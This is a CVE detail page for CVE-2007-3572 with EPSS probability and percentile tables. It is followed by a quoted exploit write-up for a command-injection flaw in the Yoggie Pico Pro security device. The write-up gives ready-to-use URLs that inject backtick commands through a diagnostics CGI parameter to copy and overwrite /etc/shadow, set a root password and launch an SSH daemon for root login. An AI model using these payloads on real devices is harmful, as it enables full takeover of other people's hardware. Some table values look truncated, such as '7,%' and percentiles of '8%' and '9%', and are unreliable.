CVE-2007-3572 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	6.79%	–	–
2022-04-03	–	–	6.79%	–	–
2022-05-22	–	–	6.79%	–	–
2023-03-12	–	–	–	11.29%	–
2023-03-26	–	–	–	6.14%	–
2023-07-09	–	–	–	6.14%	–
2024-02-25	–	–	–	6.01%	–
2024-03-31	–	–	–	5.59%	–
2024-06-02	–	–	–	4.89%	–
2024-09-01	–	–	–	4.57%	–
2024-12-22	–	–	–	2.61%	–
2025-01-19	–	–	–	2.61%	–
2025-03-18	–	–	–	–	5.62%
2025-03-30	–	–	–	–	5.9%
2025-04-22	–	–	–	–	7%
2025-04-22	–	–	–	–	7,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	8%
2022-04-03	91%
2022-05-22	92%
2023-03-12	94%
2023-03-26	92%
2023-07-09	93%
2024-02-25	93%
2024-03-31	93%
2024-06-02	93%
2024-09-01	93%
2024-12-22	9%
2025-01-19	9%
2025-03-18	9%
2025-03-30	9%
2025-04-22	91%
2025-04-22	91%

source: https://www.securityfocus.com/bid/24743/info Yoggie Pico and Pico Pro are prone to a remote code-execution vulnerability because the device fails to sufficiently sanitize user-supplied input. An attacker can exploit this issue to execute arbitrary code with superuser privileges. A successful exploit will result in the complete compromise of affected devices. When run from a machine with a Yoggie Pico Pro connected, yoggie.yoggie.com resolves to the IP of the device, so these links will of course not work unless you have a device connected. I didn't brute-force the root password, so I explain how you can replace their /etc/shadow to set the password to whatever you choose. To access the original /etc/shadow: https://yoggie.yoggie.com:8443/cgi-bin/runDiagnostics.cgi?command=Ping&param=%60cp%20/etc/shadow%20shadow.txt%60 https://yoggie.yoggie.com:8443/cgi-bin/shadow.txt Replace the root password with the password of your choosing, then wrap the file in single quotes and urlencode the entire string. To replace the original /etc/shadow with your own: https://yoggie.yoggie.com:8443/cgi-bin/runDiagnostics.cgi?command=Ping&param=%60echo%20<urlencoded shadow file>%20%3E%20/etc/shadow%60 Finally, running dropbear sshd on port 7290 (random choice -- not blocked by their firewall rules) https://yoggie.yoggie.com:8443/cgi-bin/runDiagnostics.cgi?command=Ping&param=%60/usr/sbin/dropbear%20-p%207290%60 Log in as root with the password chosen, and you now have complete control over the device. It's quite powerful little computer, and a whole hell of a lot of fun to play around with. A word of advice, though -- don't touch libc in any way, shape, or form, as there's no reflash mechanism I've found on the device, which is why I now have a bricked pico pro sitting on my desk ;)